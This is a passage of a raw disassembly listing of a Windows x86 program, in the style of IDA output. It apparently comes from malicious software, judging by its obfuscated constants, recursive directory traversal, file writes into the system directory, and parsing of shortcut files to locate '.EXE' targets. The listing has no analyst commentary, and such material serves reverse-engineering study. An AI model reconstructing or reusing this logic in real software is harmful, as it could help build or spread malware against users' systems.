loc_43D7AB:				; CODE XREF: sub_43D744+96j
		mov	eax, [ebp+var_4]
		add	eax, edi
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx+eax]
		mov	edx, [ebp+arg_4]
		movsx	edx, byte ptr [edx+edi]
		cmp	eax, edx
		jnz	short loc_43D7DC
		inc	ebx
		cmp	ebx, esi
		jnz	short loc_43D7D7
		inc	[ebp+var_8]
		mov	eax, [ebp+arg_8]
		cmp	[ebp+var_8], eax
		jnz	short loc_43D7D7
		mov	eax, [ebp+var_4]
		jmp	short loc_43D7EC
; ---------------------------------------------------------------------------


loc_43D7D7:				; CODE XREF: sub_43D744+81j
					; sub_43D744+8Cj
		inc	edi


loc_43D7D8:				; CODE XREF: sub_43D744+65j
		cmp	edi, esi
		jb	short loc_43D7AB


loc_43D7DC:				; CODE XREF: sub_43D744+7Cj
		inc	[ebp+var_4]


loc_43D7DF:				; CODE XREF: sub_43D744+41j
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_4], eax
		jb	short loc_43D787
		mov	eax, 0FFFFh


loc_43D7EC:				; CODE XREF: sub_43D744+91j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43D744	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D7F1	proc near		; CODE XREF: sub_44108E+441p
					; sub_44108E+452p

var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_444B40
		push	esi
		push	edi
		push	5
		push	[ebp+arg_0]
		call	ds:dword_445004	; GetWindow
		mov	edi, eax


loc_43D80D:				; CODE XREF: sub_43D7F1+7Dj
		or	edi, edi
		jnz	short loc_43D815
		xor	eax, eax
		jmp	short loc_43D870
; ---------------------------------------------------------------------------


loc_43D815:				; CODE XREF: sub_43D7F1+1Ej
		push	0FFFh
		lea	eax, [ebp+var_FFF]
		push	eax
		push	edi
		call	ds:dword_446010	; GetClassNameA
		mov	eax, dword_44B1C4
		add	eax, dword_44B0B8
		sub	eax, 8
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_FFF]
		push	eax
		call	sub_43D744
		add	esp, 0Ch
		mov	esi, dword_44B1B4
		add	esi, 0FFFEh
		add	esi, dword_44B164
		cmp	eax, esi
		jz	short loc_43D863
		mov	eax, edi
		jmp	short loc_43D870
; ---------------------------------------------------------------------------


loc_43D863:				; CODE XREF: sub_43D7F1+6Cj
		push	2
		push	edi
		call	ds:dword_445004	; GetWindow
		mov	edi, eax
		jmp	short loc_43D80D
; ---------------------------------------------------------------------------


loc_43D870:				; CODE XREF: sub_43D7F1+22j
					; sub_43D7F1+70j
		pop	edi
		pop	esi
		leave
		retn
sub_43D7F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D874	proc near		; DATA XREF: .data:0044B2E0o
		push	ebp
		mov	ebp, esp
		movsx	eax, word_44B128
		add	eax, dword_44B174
		sub	eax, 9
		cmp	ds:dword_447604, eax
		jbe	short loc_43D89A
		push	offset dword_447604
		call	ds:dword_445010	; InterlockedDecrement


loc_43D89A:				; CODE XREF: sub_43D874+19j
		mov	eax, ds:dword_447604
		pop	ebp
		retn	4
sub_43D874	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D8A3	proc near		; CODE XREF: sub_43C154+BBp
					; sub_43E5D5+1C3p ...

var_EF38	= dword	ptr -0EF38h
var_EF34	= dword	ptr -0EF34h
var_EF30	= dword	ptr -0EF30h
var_EF2C	= byte ptr -0EF2Ch
var_EF2B	= byte ptr -0EF2Bh
var_EE2C	= dword	ptr -0EE2Ch
var_EE24	= byte ptr -0EE24h
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		mov	eax, 0EF38h
		call	sub_444B40
		push	ebx
		push	esi
		push	edi
		movsx	edi, word_44B170
		imul	esi, dword_44B130, 3C0h
		lea	edi, [edi+edi+0EA50h]
		lea	edi, [esi+edi+780h]
		shl	edi, 1
		mov	[ebp+var_EF38],	edi
		push	edi
		call	sub_444AC5
		add	esp, 4
		mov	[ebp+var_EE2C],	eax
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_44B0EC
		sub	edx, 4
		cmp	eax, edx
		jnz	short loc_43D91D
		push	offset dword_44C5C4
		call	sub_4424C1
		add	esp, 4
		push	eax
		lea	edi, [ebp+var_EE24]
		push	edi
		call	ds:dword_44A634
		add	esp, 8
		jmp	loc_43DA0A
; ---------------------------------------------------------------------------


loc_43D91D:				; CODE XREF: sub_43D8A3+55j
		call	ds:dword_448228
		mov	ebx, eax
		mov	[ebp+var_EF2C],	bl
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_44B138
		add	edx, dword_44B0C0
		sub	edx, 7
		cmp	eax, edx
		jnz	short loc_43D991
		mov	eax, dword_44B0E4
		add	eax, 5
		and	eax, 0FFh
		push	eax
		lea	eax, [ebp+var_EF2B]
		push	eax
		push	[ebp+arg_8]
		call	sub_43BF3D
		add	esp, 0Ch
		push	offset asc_44C594 ; ","
		call	sub_4424C1
		add	esp, 4
		movzx	edi, [ebp+var_EF2C]
		push	edi
		lea	edi, [ebp+var_EF2B]
		push	edi
		push	eax
		lea	edi, [ebp+var_EE24]
		push	edi
		call	ds:dword_44A634
		add	esp, 10h
		jmp	short loc_43DA0A
; ---------------------------------------------------------------------------


loc_43D991:				; CODE XREF: sub_43D8A3+9Dj
		mov	eax, dword_44B160
		sub	eax, 8
		and	eax, 0FFh
		push	eax
		lea	eax, [ebp+var_EF2B]
		push	eax
		push	dword_44B2B0
		call	sub_43BF3D
		add	esp, 0Ch
		push	offset word_44C536
		call	sub_4424C1
		add	esp, 4
		mov	edi, [ebp+arg_18]
		mov	esi, [ebp+arg_8]
		mov	ebx, edi
		add	ebx, esi
		push	ebx
		push	[ebp+arg_1C]
		push	edi
		push	[ebp+arg_14]
		movzx	edi, [ebp+var_EF2C]
		push	edi
		mov	edi, esi
		sub	edi, [ebp+arg_C]
		sub	edi, dword_44B0C4
		push	edi
		push	offset dword_448230
		push	[ebp+arg_10]
		push	[ebp+arg_20]
		lea	edi, [ebp+var_EF2B]
		push	edi
		push	eax
		lea	edi, [ebp+var_EE24]
		push	edi
		call	ds:dword_44A634
		add	esp, 30h


loc_43DA0A:				; CODE XREF: sub_43D8A3+75j
					; sub_43D8A3+ECj
		push	[ebp+var_EF38]
		push	[ebp+var_EE2C]
		movsx	eax, word_44B128
		inc	eax
		neg	eax
		push	eax
		lea	eax, [ebp+var_EE24]
		push	eax
		mov	eax, dword_44B0C4
		movsx	edx, word_44B16C
		add	eax, edx
		sub	eax, 8
		push	eax
		push	0
		call	ds:dword_44A63C	; MultiByteToWideChar
		push	offset asc_44C51C ; "\t"
		call	sub_43EFD7
		add	esp, 4
		push	eax
		call	ds:dword_445044
		mov	[ebp+var_EF30],	eax
		push	[ebp+var_EE2C]
		call	ds:dword_445044
		mov	[ebp+var_EF34],	eax
		push	eax
		push	[ebp+var_EF30]
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+104h]
		push	[ebp+var_EF34]
		call	ds:dword_44ABA0
		push	[ebp+var_EF30]
		call	ds:dword_44ABA0
		lea	esp, [ebp-0EF44h]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43D8A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_43DAA4	proc near		; DATA XREF: .data:0044B2A4o
		mov	eax, 80004001h
		retn	10h
sub_43DAA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DAAC	proc near		; CODE XREF: sub_43DAAC+27Ep
					; sub_43DAAC+2E6p ...

var_268		= byte ptr -268h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= word ptr -258h
var_256		= word ptr -256h
var_252		= word ptr -252h
var_250		= word ptr -250h
var_24E		= word ptr -24Eh
var_248		= dword	ptr -248h
var_242		= byte ptr -242h
var_13E		= byte ptr -13Eh
var_112		= byte ptr -112h
arg_0		= dword	ptr  8
arg_8		= byte ptr  10h
arg_18		= byte ptr  20h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 268h
		push	ebx
		push	esi
		push	edi
		push	0
		call	ds:dword_44A630
		xor	ebx, ebx
		inc	ebx
		push	offset byte_44C511
		call	sub_4424C1
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	ds:dword_44A634
		add	esp, 14h
		lea	eax, [ebp+var_13E]
		push	eax
		lea	eax, [ebp+var_242]
		push	eax
		call	ds:dword_448258	; FindFirstFileA
		mov	[ebp+var_248], eax
		movsx	ecx, word_44B0DC
		add	ecx, dword_44B0A8
		sub	ecx, 8
		neg	ecx
		cmp	eax, ecx
		jnz	loc_43DCE4
		mov	eax, dword_44B09C
		sub	eax, 8
		cmp	[ebp+arg_20], eax
		ja	loc_43DDA1
		mov	eax, dword_44B1A4
		add	eax, 3FAh
		add	eax, dword_44B094
		cmp	[ebp+arg_24], eax
		jnb	short loc_43DB4E
		mov	eax, dword_44B09C
		add	eax, 9Ch
		cmp	[ebp+arg_24], eax
		jnz	loc_43DDA1


loc_43DB4E:				; CODE XREF: sub_43DAAC+8Dj
		movsx	eax, word_44B128
		add	eax, 30D40h
		cmp	[ebp+arg_24], eax
		ja	loc_43DDA1
		lea	eax, [ebp+arg_18]
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		call	ds:dword_44A780	; CompareFileTime
		mov	[ebp+var_260], eax
		movsx	eax, word_44B150
		sub	eax, 5
		cmp	[ebp+var_260], eax
		jge	short loc_43DB96
		lea	edi, [ebp+var_268]
		lea	esi, [ebp+arg_18]
		movsd
		movsd
		jmp	short loc_43DBA1
; ---------------------------------------------------------------------------


loc_43DB96:				; CODE XREF: sub_43DAAC+DBj
		lea	edi, [ebp+var_268]
		lea	esi, [ebp+arg_8]
		movsd
		movsd


loc_43DBA1:				; CODE XREF: sub_43DAAC+E8j
		lea	eax, [ebp+var_258]
		push	eax
		lea	eax, [ebp+var_268]
		push	eax
		call	ds:dword_44A778	; FileTimeToSystemTime
		mov	eax, dword_44B1CC
		mov	edx, dword_44B1B8
		movzx	ecx, [ebp+var_24E]
		movzx	esi, [ebp+var_250]
		movsx	edi, word_44B168
		lea	edi, [eax+edi+30h]
		imul	esi, edi
		add	ecx, esi
		movzx	esi, [ebp+var_252]
		mov	edi, dword_44B158
		lea	edi, [edx+edi+15h]
		imul	esi, edi
		mov	edi, dword_44B1C4
		add	edi, 37h
		imul	esi, edi
		add	ecx, esi
		movzx	esi, [ebp+var_256]
		mov	edi, dword_44B1CC
		add	edi, 1Ah
		imul	esi, edi
		mov	edi, dword_44B138
		add	edi, 10h
		add	edi, dword_44B1B0
		imul	esi, edi
		mov	edi, dword_44B14C
		add	edi, 36h
		imul	esi, edi
		add	ecx, esi
		movzx	esi, [ebp+var_258]
		mov	edi, dword_44B094
		add	edi, 2
		add	edi, eax
		mov	eax, esi
		imul	eax, edi
		movsx	esi, word_44B100
		movsx	edi, word_44B180
		lea	esi, [esi+edi+0Fh]
		imul	eax, esi
		mov	esi, dword_44B0AC
		add	esi, 0Dh
		add	esi, dword_44B09C
		imul	eax, esi
		movsx	esi, word_44B110
		lea	edx, [edx+esi+35h]
		imul	eax, edx
		mov	edx, ecx
		add	edx, eax
		mov	[ebp+var_25C], edx
		mov	eax, edx
		mov	edx, ds:dword_445024
		cmp	eax, edx
		ja	loc_43DDA1
		sub	edx, eax
		mov	eax, dword_44B178
		add	eax, 0Ah
		add	eax, dword_44B10C
		cmp	edx, eax
		jnb	loc_43DDA1
		mov	eax, dword_44B0E4
		add	eax, 0A2h
		cmp	[ebp+arg_24], eax
		jz	short loc_43DCD2
		push	0
		push	[ebp+arg_0]
		call	sub_442E96
		add	esp, 8
		jmp	loc_43DDA1
; ---------------------------------------------------------------------------


loc_43DCD2:				; CODE XREF: sub_43DAAC+212j
		push	1
		push	[ebp+arg_0]
		call	sub_442E96
		add	esp, 8
		jmp	loc_43DDA1
; ---------------------------------------------------------------------------


loc_43DCE4:				; CODE XREF: sub_43DAAC+63j
		cmp	[ebp+var_112], 2Eh
		jz	loc_43DD9D
		lea	eax, [ebp+var_112]
		push	eax
		push	[ebp+arg_0]
		push	offset aSS	; "%s\\%s"
		lea	eax, [ebp+var_242]
		push	eax
		call	ds:dword_44A634
		lea	esi, [ebp+var_13E]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_242]
		push	edi
		call	sub_43DAAC
		add	esp, 154h
		jmp	short loc_43DD9D
; ---------------------------------------------------------------------------


loc_43DD37:				; CODE XREF: sub_43DAAC+2F3j
		lea	eax, [ebp+var_13E]
		push	eax
		push	[ebp+var_248]
		call	ds:dword_446004	; FindNextFileA
		mov	ebx, eax
		or	ebx, ebx
		jz	short loc_43DDA1
		cmp	[ebp+var_112], 2Eh
		jz	short loc_43DD9D
		lea	eax, [ebp+var_112]
		push	eax
		push	[ebp+arg_0]
		push	offset aSS	; "%s\\%s"
		lea	eax, [ebp+var_242]
		push	eax
		call	ds:dword_44A634
		lea	esi, [ebp+var_13E]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_242]
		push	edi
		call	sub_43DAAC
		add	esp, 154h


loc_43DD9D:				; CODE XREF: sub_43DAAC+23Fj
					; sub_43DAAC+289j ...
		or	ebx, ebx
		jnz	short loc_43DD37


loc_43DDA1:				; CODE XREF: sub_43DAAC+74j
					; sub_43DAAC+9Cj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43DAAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DDA6	proc near		; DATA XREF: .data:0044B29Co
		push	ebp
		mov	ebp, esp
		mov	eax, dword_44B0C4
		sub	eax, 4
		cmp	ds:dword_44A784, eax
		jbe	short loc_43DDC4
		push	offset dword_44A784
		call	ds:dword_445010	; InterlockedDecrement


loc_43DDC4:				; CODE XREF: sub_43DDA6+11j
		mov	eax, ds:dword_44A784
		pop	ebp
		retn	4
sub_43DDA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DDCD	proc near		; CODE XREF: sub_43C38A+2E1p
					; sub_43C38A+3C9p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	esi
		mov	edi, dword_44B098
		sub	edi, 7
		cmp	edx, edi
		jnz	short loc_43DDF1
		mov	eax, [ebp+arg_0]
		jmp	short loc_43DE0B
; ---------------------------------------------------------------------------


loc_43DDF1:				; CODE XREF: sub_43DDCD+1Dj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	esi
		mov	[ebp+var_8], eax
		mov	edi, eax
		mul	esi
		mov	[ebp+var_C], eax
		mov	edi, eax
		add	edi, esi
		mov	[ebp+var_4], edi
		mov	eax, edi


loc_43DE0B:				; CODE XREF: sub_43DDCD+22j
		pop	edi
		pop	esi
		leave
		retn
sub_43DDCD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DE0F	proc near		; CODE XREF: sub_442E96+499p
					; DATA XREF: sub_43B52C+B4o

var_26C		= byte ptr -26Ch
var_267		= byte ptr -267h
var_168		= byte ptr -168h
var_104		= byte ptr -104h
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	esi
		push	edi
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_4475FC	; GetSystemDirectoryA
		lea	eax, [ebp+var_168]
		push	eax
		call	sub_43BFE5
		push	offset word_44C506
		call	sub_4424C1
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	ds:dword_445020
		lea	eax, [ebp+var_168]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_445020
		push	offset word_44C4FE
		call	sub_4424C1
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	ds:dword_445020
		add	esp, 24h
		movsx	eax, word_44B1A8
		add	eax, dword_44B158
		mov	dl, [ebp+arg_0]
		mov	[ebp+eax+var_267], dl
		push	0
		push	80h
		push	4
		push	0
		movsx	eax, word_44B100
		movsx	edx, word_44B090
		add	eax, edx
		sub	eax, 0Ah
		push	eax
		push	40000000h
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_44A788	; CreateFileA
		mov	edi, eax
		push	0
		lea	eax, [ebp+var_26C]
		push	eax
		mov	eax, dword_44B1C8
		dec	eax
		push	eax
		lea	eax, [ebp+var_267]
		push	eax
		push	edi
		call	ds:dword_44AB8C	; WriteFile
		push	edi
		call	ds:dword_449650	; CloseHandle
		pop	edi
		pop	esi
		leave
		retn
sub_43DE0F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DEF2	proc near		; CODE XREF: sub_4438E7+179p

var_12110	= byte ptr -12110h
var_1210C	= word ptr -1210Ch
var_1210A	= word ptr -1210Ah
var_12108	= dword	ptr -12108h
var_12104	= byte ptr -12104h
var_12000	= word ptr -12000h
var_11FFE	= byte ptr -11FFEh
var_1FFF	= byte ptr -1FFFh
var_1FB3	= byte ptr -1FB3h
var_1FB2	= byte ptr -1FB2h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 12110h
		call	sub_444B40
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_12104]
		push	eax
		call	sub_444B60
		lea	ecx, [ebp+var_12104]
		or	eax, 0FFFFFFFFh


loc_43DF1A:				; CODE XREF: sub_43DEF2+2Dj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43DF1A
		mov	ebx, dword_44B184
		add	ebx, dword_44B0CC
		sub	ebx, 6
		mov	esi, eax
		sub	esi, ebx
		mov	ebx, dword_44B1A0
		sub	ebx, 6
		mov	[ebp+esi+var_12104], bl
		push	0
		mov	eax, dword_44B15C
		movsx	edx, word_44B100
		add	eax, edx
		sub	eax, 0Dh
		push	eax
		push	3
		push	0
		mov	eax, dword_44B17C
		movsx	edx, word_44B148
		add	eax, edx
		sub	eax, 9
		push	eax
		push	80000001h
		lea	eax, [ebp+var_12104]
		push	eax
		call	ds:dword_44A788	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_43E1C7
		push	0
		lea	eax, [ebp+var_12110]
		push	eax
		push	1FFFh
		lea	eax, [ebp+var_1FFF]
		push	eax
		push	edi
		call	ds:dword_445028	; ReadFile
		mov	[ebp+var_12108], eax
		push	edi
		call	ds:dword_449650	; CloseHandle
		movsx	eax, word_44B1A8
		movsx	edx, word_44B0BC
		add	eax, edx
		sub	eax, 9
		cmp	[ebp+var_12108], eax
		jz	loc_43E1C7
		cmp	[ebp+var_1FFF],	4Ch
		jnz	loc_43E1C7
		movzx	esi, [ebp+var_1FB3]
		movzx	ebx, [ebp+var_1FB2]
		movzx	ebx, bx
		shl	ebx, 8
		or	esi, ebx
		mov	[ebp+var_1210A], si
		movzx	eax, [ebp+var_1210A]
		mov	edx, dword_44B0F0
		add	edx, 46h
		movsx	ecx, word_44B114
		add	edx, ecx
		add	eax, edx
		movsx	edx, word_44B0D0
		add	edx, 2
		add	eax, edx
		mov	[ebp+var_12000], ax
		movzx	eax, [ebp+var_12000]
		movsx	eax, [ebp+eax+var_1FFF]
		mov	edx, dword_44B17C
		sub	edx, 6
		cmp	eax, edx
		jz	loc_43E1C7
		movzx	eax, [ebp+var_12000]
		mov	edx, dword_44B0A0
		add	edx, 4
		add	eax, edx
		movsx	eax, [ebp+eax+var_1FFF]
		mov	edx, dword_44B15C
		sub	edx, 3
		cmp	eax, edx
		jnz	loc_43E1C7
		movzx	eax, [ebp+var_12000]
		movsx	edx, word_44B0F4
		mov	ecx, dword_44B0D4
		lea	edx, [edx+ecx+6]
		mov	ecx, eax
		add	ecx, edx
		movzx	edx, [ebp+ecx+var_1FFF]
		mov	esi, dword_44B094
		add	esi, 0Ah
		add	esi, dword_44B1B4
		mov	ebx, eax
		add	ebx, esi
		movzx	esi, [ebp+ebx+var_1FFF]
		movzx	esi, si
		shl	esi, 8
		mov	ebx, edx
		or	ebx, esi
		mov	esi, ebx
		movzx	esi, si
		mov	ebx, eax
		add	ebx, esi
		mov	esi, ebx
		mov	[ebp+var_1210C], si
		movzx	eax, [ebp+var_1210C]
		lea	eax, [ebp+eax+var_1FFF]
		push	eax
		lea	eax, [ebp+var_11FFE]
		push	eax
		call	sub_444B60
		lea	ecx, [ebp+var_11FFE]
		or	eax, 0FFFFFFFFh


loc_43E0F5:				; CODE XREF: sub_43DEF2+208j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43E0F5
		mov	edi, eax
		mov	eax, dword_44B0AC
		add	eax, 1
		mov	edx, edi
		sub	edx, eax
		cmp	[ebp+edx+var_11FFE], 2Eh
		jnz	short loc_43E18C
		mov	eax, dword_44B0EC
		add	eax, dword_44B1C0
		sub	eax, 5
		mov	edx, edi
		sub	edx, eax
		movsx	eax, [ebp+edx+var_11FFE]
		push	eax
		call	ds:dword_445030
		add	esp, 4
		cmp	eax, 45h
		jnz	short loc_43E18C
		mov	esi, dword_44B190
		sub	esi, 1
		mov	ebx, edi
		sub	ebx, esi
		movsx	esi, [ebp+ebx+var_11FFE]
		push	esi
		call	ds:dword_445030
		add	esp, 4
		cmp	eax, 58h
		jnz	short loc_43E18C
		movsx	esi, word_44B0B0
		add	esi, dword_44B0A4
		sub	esi, 9
		mov	ebx, edi
		sub	ebx, esi
		movsx	esi, [ebp+ebx+var_11FFE]
		push	esi
		call	ds:dword_445030
		add	esp, 4
		cmp	eax, 45h
		jz	short loc_43E18E


loc_43E18C:				; CODE XREF: sub_43DEF2+220j
					; sub_43DEF2+249j ...
		jmp	short loc_43E1C7
; ---------------------------------------------------------------------------


loc_43E18E:				; CODE XREF: sub_43DEF2+298j
		push	offset byte_44C4F9
		call	sub_4424C1
		push	eax
		lea	edi, [ebp+var_11FFE]
		push	edi
		call	ds:dword_445020
		mov	eax, dword_44B190
		movsx	edx, word_44B1BC
		add	eax, edx
		sub	eax, 9
		push	eax
		lea	eax, [ebp+var_11FFE]
		push	eax
		call	sub_442A46
		add	esp, 14h


loc_43E1C7:				; CODE XREF: sub_43DEF2+93j
					; sub_43DEF2+DBj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43DEF2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E1CC	proc near		; CODE XREF: sub_43B52C+22Ep
					; sub_441FCC+192p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		inc	esi
		mov	edi, dword_44B0A0
		add	edi, 1Bh
		mov	eax, esi
		test	eax, eax
		jge	short loc_43E1ED
		add	eax, 0FFh


loc_43E1ED:				; CODE XREF: sub_43E1CC+1Aj
		sar	eax, 8
		movsx	ebx, word_44B194
		add	ebx, 9
		mov	edx, eax
		imul	edx, ebx
		add	edi, edx
		mov	[ebp+var_8], edi
		mov	edi, dword_44B174
		add	edi, 0Ch
		mov	eax, esi
		test	eax, eax
		jge	short loc_43E218
		add	eax, 0FFh


loc_43E218:				; CODE XREF: sub_43E1CC+45j
		sar	eax, 8
		movsx	ebx, word_44B1BC
		add	ebx, 0Bh
		mov	edx, eax
		imul	edx, ebx
		add	edi, edx
		mov	[ebp+var_C], edi
		movsx	edi, word_44B19C
		mov	ebx, dword_44B0AC
		lea	edi, [edi+ebx+18h]
		mov	eax, esi
		test	eax, eax
		jge	short loc_43E24B
		add	eax, 0FFFFh


loc_43E24B:				; CODE XREF: sub_43E1CC+78j
		sar	eax, 10h
		mov	ebx, dword_44B140
		add	ebx, 0Fh
		mov	edx, eax
		imul	edx, ebx
		add	edi, edx
		mov	[ebp+var_10], edi
		mov	eax, esi
		mul	[ebp+var_8]
		mov	[ebp+var_1C], eax
		and	eax, 0FFh
		push	eax
		call	sub_441020
		mov	ebx, eax
		mov	[ebp+var_1], bl
		mov	eax, dword_44B0FC
		add	eax, 5
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_44022F
		mov	ebx, eax
		mov	[ebp+var_11], bl
		mov	eax, esi
		mul	[ebp+var_C]
		mov	[ebp+var_20], eax
		and	eax, 0FFh
		push	eax
		call	sub_441020
		mov	ebx, eax
		mov	[ebp+var_12], bl
		mov	eax, dword_44B1CC
		add	eax, 6Ah
		add	eax, dword_44B0A8
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_44022F
		mov	ebx, eax
		mov	[ebp+var_13], bl
		mov	eax, esi
		and	eax, 0FFh
		push	eax
		call	sub_441020
		mov	ebx, eax
		mov	[ebp+var_14], bl
		mov	eax, dword_44B1CC
		add	eax, 2Bh
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_44022F
		mov	ebx, eax
		mov	[ebp+var_15], bl
		mov	eax, esi
		mul	[ebp+var_10]
		mov	[ebp+var_24], eax
		and	eax, 0FFh
		push	eax
		call	sub_441020
		mov	ebx, eax
		mov	[ebp+var_16], bl
		mov	eax, dword_44B1A4
		add	eax, 49h
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_44022F
		mov	ebx, eax
		mov	[ebp+var_17], bl
		mov	eax, dword_44B14C
		add	eax, 3Dh
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_441020
		add	esp, 24h
		mov	ebx, eax
		mov	[ebp+var_18], bl
		movzx	edi, [ebp+var_1]
		mov	eax, edi
		shr	eax, 1
		mov	esi, dword_44B188
		add	esi, 2
		mul	esi
		mov	[ebp+var_28], eax
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_43E3C1
		push	offset byte_44C4DF
		call	sub_4424C1
		movzx	edi, [ebp+var_18]
		push	edi
		movzx	edi, [ebp+var_17]
		push	edi
		movzx	edi, [ebp+var_16]
		push	edi
		movzx	edi, [ebp+var_15]
		push	edi
		movzx	edi, [ebp+var_14]
		push	edi
		movzx	edi, [ebp+var_13]
		push	edi
		movzx	edi, [ebp+var_12]
		push	edi
		movzx	edi, [ebp+var_11]
		push	edi
		movzx	edi, [ebp+var_1]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44A634
		add	esp, 30h
		jmp	short loc_43E405
; ---------------------------------------------------------------------------


loc_43E3C1:				; CODE XREF: sub_43E1CC+1ADj
		push	offset dword_44C4C4
		call	sub_4424C1
		movzx	edi, [ebp+var_18]
		push	edi
		movzx	edi, [ebp+var_17]
		push	edi
		movzx	edi, [ebp+var_16]
		push	edi
		movzx	edi, [ebp+var_15]
		push	edi
		movzx	edi, [ebp+var_14]
		push	edi
		movzx	edi, [ebp+var_13]
		push	edi
		movzx	edi, [ebp+var_12]
		push	edi
		movzx	edi, [ebp+var_11]
		push	edi
		movzx	edi, [ebp+var_1]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44A634
		add	esp, 30h


loc_43E405:				; CODE XREF: sub_43E1CC+1F3j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43E1CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E40A	proc near		; DATA XREF: .data:0044B2ACo

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_10]
		mov	word ptr [ebp+arg_10], ax
		mov	eax, dword_44B174
		inc	eax
		cmp	ds:dword_44761C, eax
		jnb	short loc_43E438
		movsx	eax, word_44B16C
		sub	eax, 4
		mov	ds:dword_44761C, eax


loc_43E438:				; CODE XREF: sub_43E40A+1Dj
		mov	edi, dword_44B0AC
		sub	edi, 3
		jmp	short loc_43E44F
; ---------------------------------------------------------------------------


loc_43E443:				; CODE XREF: sub_43E40A+51j
		lea	ebx, ds:446130h[edi*4]
		cmp	esi, ebx
		jz	short loc_43E45D
		inc	edi


loc_43E44F:				; CODE XREF: sub_43E40A+37j
		mov	eax, dword_44B108
		add	eax, 3E8h
		cmp	edi, eax
		jb	short loc_43E443


